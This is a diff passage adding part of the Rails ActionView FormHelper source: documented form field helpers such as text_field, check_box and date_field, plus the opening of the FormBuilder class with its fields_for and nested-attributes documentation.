+ # # => <label for="post_body">Write your entire text here</label>
+ #
+ # Localization can also be based purely on the translation of the attribute-name
+ # (if you are using ActiveRecord):
+ #
+ # activerecord:
+ # attributes:
+ # post:
+ # cost: "Total cost"
+ #
+ # label(:post, :cost)
+ # # => <label for="post_cost">Total cost</label>
+ #
+ # label(:post, :title, "A short title")
+ # # => <label for="post_title">A short title</label>
+ #
+ # label(:post, :title, "A short title", class: "title_label")
+ # # => <label for="post_title" class="title_label">A short title</label>
+ #
+ # label(:post, :privacy, "Public Post", value: "public")
+ # # => <label for="post_privacy_public">Public Post</label>
+ #
+ # label(:post, :terms) do
+ # 'Accept <a href="/terms">Terms</a>.'.html_safe
+ # end
+ # # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
+ def label(object_name, method, content_or_options = nil, options = nil, &block)
+ Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
+ end
+
+ # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # text_field(:post, :title, size: 20)
+ # # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+ #
+ # text_field(:post, :title, class: "create_input")
+ # # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+ #
+ # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+ # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
+ #
+ # text_field(:snippet, :code, size: 20, class: 'code_input')
+ # # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+ def text_field(object_name, method, options = {})
+ Tags::TextField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown. For security reasons this field is blank by default; pass in a value via +options+ if this is not desired.
+ #
+ # ==== Examples
+ # password_field(:login, :pass, size: 20)
+ # # => <input type="password" id="login_pass" name="login[pass]" size="20" />
+ #
+ # password_field(:account, :secret, class: "form_input", value: @account.secret)
+ # # => <input type="password" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+ #
+ # password_field(:user, :password, onchange: "if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }")
+ # # => <input type="password" id="user_password" name="user[password]" onchange="if ($('#user_password').val().length > 30) { alert('Your password needs to be shorter!'); }"/>
+ #
+ # password_field(:account, :pin, size: 20, class: 'form_input')
+ # # => <input type="password" id="account_pin" name="account[pin]" size="20" class="form_input" />
+ def password_field(object_name, method, options = {})
+ Tags::PasswordField.new(object_name, method, self, options).render
+ end
+
+ # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # ==== Examples
+ # hidden_field(:signup, :pass_confirm)
+ # # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+ #
+ # hidden_field(:post, :tag_list)
+ # # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+ #
+ # hidden_field(:user, :token)
+ # # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+ def hidden_field(object_name, method, options = {})
+ Tags::HiddenField.new(object_name, method, self, options).render
+ end
+
+ # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+ # shown.
+ #
+ # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+ #
+ # ==== Options
+ # * Creates standard HTML attributes for the tag.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+ # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
+ #
+ # ==== Examples
+ # file_field(:user, :avatar)
+ # # => <input type="file" id="user_avatar" name="user[avatar]" />
+ #
+ # file_field(:post, :image, :multiple => true)
+ # # => <input type="file" id="post_image" name="post[image]" multiple="true" />
+ #
+ # file_field(:post, :attached, accept: 'text/html')
+ # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+ #
+ # file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
+ # # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+ #
+ # file_field(:attachment, :file, class: 'file_input')
+ # # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+ def file_field(object_name, method, options = {})
+ Tags::FileField.new(object_name, method, self, options).render
+ end
+
+ # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
+ # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+ # hash with +options+.
+ #
+ # ==== Examples
+ # text_area(:post, :body, cols: 20, rows: 40)
+ # # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
+ # # #{@post.body}
+ # # </textarea>
+ #
+ # text_area(:comment, :text, size: "20x30")
+ # # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+ # # #{@comment.text}
+ # # </textarea>
+ #
+ # text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+ # # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+ # # #{@application.notes}
+ # # </textarea>
+ #
+ # text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+ # # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+ # # #{@entry.body}
+ # # </textarea>
+ def text_area(object_name, method, options = {})
+ Tags::TextArea.new(object_name, method, self, options).render
+ end
+
+ # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+ # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
+ # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
+ # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says unchecked check boxes are not successful, and
+ # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
+ # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @invoice.update(params[:invoice])
+ #
+ # wouldn't update the flag.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimic an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # Unfortunately that workaround does not work when the check box goes
+ # within an array-like parameter, as in
+ #
+ # <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+ # <%= form.check_box :paid %>
+ # ...
+ # <% end %>
+ #
+ # because parameter name repetition is precisely what Rails seeks to distinguish
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
+ #
+ # # Let's say that @post.validated? is 1:
+ # check_box("post", "validated")
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+ #
+ # # Let's say that @puppy.gooddog is "no":
+ # check_box("puppy", "gooddog", {}, "yes", "no")
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+ #
+ # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+ # # => <input name="eula[accepted]" type="hidden" value="no" />
+ # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+ def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+ Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
+ end
+
+ # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+ # radio button will be checked.
+ #
+ # To force the radio button to be checked pass <tt>checked: true</tt> in the
+ # +options+ hash. You may pass HTML options there as well.
+ #
+ # # Let's say that @post.category returns "rails":
+ # radio_button("post", "category", "rails")
+ # radio_button("post", "category", "java")
+ # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+ # # <input type="radio" id="post_category_java" name="post[category]" value="java" />
+ #
+ # radio_button("user", "receive_newsletter", "yes")
+ # radio_button("user", "receive_newsletter", "no")
+ # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+ # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+ def radio_button(object_name, method, tag_value, options = {})
+ Tags::RadioButton.new(object_name, method, self, tag_value, options).render
+ end
+
+ # Returns a text_field of type "color".
+ #
+ # color_field("car", "color")
+ # # => <input id="car_color" name="car[color]" type="color" value="#000000" />
+ def color_field(object_name, method, options = {})
+ Tags::ColorField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
+ # some browsers.
+ #
+ # search_field(:user, :name)
+ # # => <input id="user_name" name="user[name]" type="search" />
+ # search_field(:user, :name, autosave: false)
+ # # => <input autosave="false" id="user_name" name="user[name]" type="search" />
+ # search_field(:user, :name, results: 3)
+ # # => <input id="user_name" name="user[name]" results="3" type="search" />
+ # # Assume request.host returns "www.example.com"
+ # search_field(:user, :name, autosave: true)
+ # # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
+ # search_field(:user, :name, onsearch: true)
+ # # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+ # search_field(:user, :name, autosave: false, onsearch: true)
+ # # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
+ # search_field(:user, :name, autosave: true, onsearch: true)
+ # # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
+ def search_field(object_name, method, options = {})
+ Tags::SearchField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "tel".
+ #
+ # telephone_field("user", "phone")
+ # # => <input id="user_phone" name="user[phone]" type="tel" />
+ #
+ def telephone_field(object_name, method, options = {})
+ Tags::TelField.new(object_name, method, self, options).render
+ end
+ # aliases telephone_field
+ alias phone_field telephone_field
+
+ # Returns a text_field of type "date".
+ #
+ # date_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" />
+ #
+ # The default value is generated by trying to call "to_date"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone. You can still override that
+ # by passing the "value" option explicitly, e.g.
+ #
+ # @user.born_on = Date.new(1984, 1, 27)
+ # date_field("user", "born_on", value: "1984-05-12")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+ #
+ # You can create values for the "min" and "max" attributes by passing
+ # instances of Date or Time to the options hash.
+ #
+ # date_field("user", "born_on", min: Date.today)
+ # # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+ #
+ # Alternatively, you can pass a String formatted as an ISO8601 date as the
+ # values for "min" and "max."
+ #
+ # date_field("user", "born_on", min: "2014-05-20")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+ #
+ def date_field(object_name, method, options = {})
+ Tags::DateField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "time".
+ #
+ # The default value is generated by trying to call +strftime+ with "%T.%L"
+ # on the objects's value. It is still possible to override that
+ # by passing the "value" option.
+ #
+ # === Options
+ # * Accepts same options as time_field_tag
+ #
+ # === Example
+ # time_field("task", "started_at")
+ # # => <input id="task_started_at" name="task[started_at]" type="time" />
+ #
+ # You can create values for the "min" and "max" attributes by passing
+ # instances of Date or Time to the options hash.
+ #
+ # time_field("task", "started_at", min: Time.now)
+ # # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+ #
+ # Alternatively, you can pass a String formatted as an ISO8601 time as the
+ # values for "min" and "max."
+ #
+ # time_field("task", "started_at", min: "01:00:00")
+ # # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
+ #
+ def time_field(object_name, method, options = {})
+ Tags::TimeField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "datetime".
+ #
+ # datetime_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 12)
+ # datetime_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
+ #
+ # You can create values for the "min" and "max" attributes by passing
+ # instances of Date or Time to the options hash.
+ #
+ # datetime_field("user", "born_on", min: Date.today)
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" min="2014-05-20T00:00:00.000+0000" />
+ #
+ # Alternatively, you can pass a String formatted as an ISO8601 datetime
+ # with UTC offset as the values for "min" and "max."
+ #
+ # datetime_field("user", "born_on", min: "2014-05-20T00:00:00+0000")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime" min="2014-05-20T00:00:00.000+0000" />
+ #
+ def datetime_field(object_name, method, options = {})
+ Tags::DatetimeField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "datetime-local".
+ #
+ # datetime_local_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 12)
+ # datetime_local_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+ #
+ # You can create values for the "min" and "max" attributes by passing
+ # instances of Date or Time to the options hash.
+ #
+ # datetime_local_field("user", "born_on", min: Date.today)
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+ #
+ # Alternatively, you can pass a String formatted as an ISO8601 datetime as
+ # the values for "min" and "max."
+ #
+ # datetime_local_field("user", "born_on", min: "2014-05-20T00:00:00")
+ # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+ #
+ def datetime_local_field(object_name, method, options = {})
+ Tags::DatetimeLocalField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "month".
+ #
+ # month_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="month" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-%m"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 1, 27)
+ # month_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
+ #
+ def month_field(object_name, method, options = {})
+ Tags::MonthField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "week".
+ #
+ # week_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="week" />
+ #
+ # The default value is generated by trying to call +strftime+ with "%Y-W%W"
+ # on the object's value, which makes it behave as expected for instances
+ # of DateTime and ActiveSupport::TimeWithZone.
+ #
+ # @user.born_on = Date.new(1984, 5, 12)
+ # week_field("user", "born_on")
+ # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
+ #
+ def week_field(object_name, method, options = {})
+ Tags::WeekField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "url".
+ #
+ # url_field("user", "homepage")
+ # # => <input id="user_homepage" name="user[homepage]" type="url" />
+ #
+ def url_field(object_name, method, options = {})
+ Tags::UrlField.new(object_name, method, self, options).render
+ end
+
+ # Returns a text_field of type "email".
+ #
+ # email_field("user", "address")
+ # # => <input id="user_address" name="user[address]" type="email" />
+ #
+ def email_field(object_name, method, options = {})
+ Tags::EmailField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of type "number".
+ #
+ # ==== Options
+ # * Accepts same options as number_field_tag
+ def number_field(object_name, method, options = {})
+ Tags::NumberField.new(object_name, method, self, options).render
+ end
+
+ # Returns an input tag of type "range".
+ #
+ # ==== Options
+ # * Accepts same options as range_field_tag
+ def range_field(object_name, method, options = {})
+ Tags::RangeField.new(object_name, method, self, options).render
+ end
+
+ private
+
+ def instantiate_builder(record_name, record_object, options)
+ case record_name
+ when String, Symbol
+ object = record_object
+ object_name = record_name
+ else
+ object = record_name
+ object_name = model_name_from_record_or_class(object).param_key
+ end
+
+ builder = options[:builder] || default_form_builder
+ builder.new(object_name, object, self, options)
+ end
+
+ def default_form_builder
+ builder = ActionView::Base.default_form_builder
+ builder.respond_to?(:constantize) ? builder.constantize : builder
+ end
+ end
+
+ # A +FormBuilder+ object is associated with a particular model object and
+ # allows you to generate fields associated with the model object. The
+ # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
+ # For example:
+ #
+ # <%= form_for @person do |person_form| %>
+ # Name: <%= person_form.text_field :name %>
+ # Admin: <%= person_form.check_box :admin %>
+ # <% end %>
+ #
+ # In the above block, the a +FormBuilder+ object is yielded as the
+ # +person_form+ variable. This allows you to generate the +text_field+
+ # and +check_box+ fields by specifying their eponymous methods, which
+ # modify the underlying template and associates the +@person+ model object
+ # with the form.
+ #
+ # The +FormBuilder+ object can be thought of as serving as a proxy for the
+ # methods in the +FormHelper+ module. This class, however, allows you to
+ # call methods with the model object you are building the form for.
+ #
+ # You can create your own custom FormBuilder templates by subclassing this
+ # class. For example:
+ #
+ # class MyFormBuilder < ActionView::Helpers::FormBuilder
+ # def div_radio_button(method, tag_value, options = {})
+ # @template.content_tag(:div,
+ # @template.radio_button(
+ # @object_name, method, tag_value, objectify_options(options)
+ # )
+ # )
+ # end
+ #
+ # The above code creates a new method +div_radio_button+ which wraps a div
+ # around the new radio button. Note that when options are passed in, you
+ # must call +objectify_options+ in order for the model object to get
+ # correctly passed to the method. If +objectify_options+ is not called,
+ # then the newly created helper will not be linked back to the model.
+ #
+ # The +div_radio_button+ code from above can now be used as follows:
+ #
+ # <%= form_for @person, :builder => MyFormBuilder do |f| %>
+ # I am a child: <%= f.div_radio_button(:admin, "child") %>
+ # I am an adult: <%= f.div_radio_button(:admin, "adult") %>
+ # <% end -%>
+ #
+ # The standard set of helper methods for form building are located in the
+ # +field_helpers+ class attribute.
+ class FormBuilder
+ include ModelNaming
+
+ # The methods which wrap a form helper call.
+ class_attribute :field_helpers
+ self.field_helpers = [:fields_for, :label, :text_field, :password_field,
+ :hidden_field, :file_field, :text_area, :check_box,
+ :radio_button, :color_field, :search_field,
+ :telephone_field, :phone_field, :date_field,
+ :time_field, :datetime_field, :datetime_local_field,
+ :month_field, :week_field, :url_field, :email_field,
+ :number_field, :range_field]
+
+ attr_accessor :object_name, :object, :options
+
+ attr_reader :multipart, :index
+ alias :multipart? :multipart
+
+ def multipart=(multipart)
+ @multipart = multipart
+
+ if parent_builder = @options[:parent_builder]
+ parent_builder.multipart = multipart
+ end
+ end
+
+ def self._to_partial_path
+ @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
+ end
+
+ def to_partial_path
+ self.class._to_partial_path
+ end
+
+ def to_model
+ self
+ end
+
+ def initialize(object_name, object, template, options)
+ @nested_child_index = {}
+ @object_name, @object, @template, @options = object_name, object, template, options
+ @default_options = @options ? @options.slice(:index, :namespace) : {}
+ if @object_name.to_s.match(/\[\]$/)
+ if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
+ @auto_index = object.to_param
+ else
+ raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+ end
+ end
+ @multipart = nil
+ @index = options[:index] || options[:child_index]
+ end
+
+ (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
+ class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+ def #{selector}(method, options = {}) # def text_field(method, options = {})
+ @template.send( # @template.send(
+ #{selector.inspect}, # "text_field",
+ @object_name, # @object_name,
+ method, # method,
+ objectify_options(options)) # objectify_options(options))
+ end # end
+ RUBY_EVAL
+ end
+
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= person_form.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this
+ # hidden field is not needed and you can pass <tt>include_id: false</tt>
+ # to prevent fields_for from rendering it automatically.
+ def fields_for(record_name, record_object = nil, fields_options = {}, &block)
+ fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
+ fields_options[:builder] ||= options[:builder]
+ fields_options[:namespace] = options[:namespace]
+ fields_options[:parent_builder] = self
+
+ case record_name
+ when String, Symbol
+ if nested_attributes_association?(record_name)
+ return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
+ end
+ else
+ record_object = record_name.is_a?(Array) ? record_name.last : record_name
+ record_name = model_name_from_record_or_class(record_object).param_key
+ end
+
+ index = if options.has_key?(:index)
+ options[:index]
+ elsif defined?(@auto_index)
+ self.object_name = @object_name.to_s.sub(/\[\]$/,"")
+ @auto_index
+ end
+
+ record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
+ fields_options[:child_index] = index
+
+ @template.fields_for(record_name, record_object, fields_options, &block)
+ end
+
+ # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
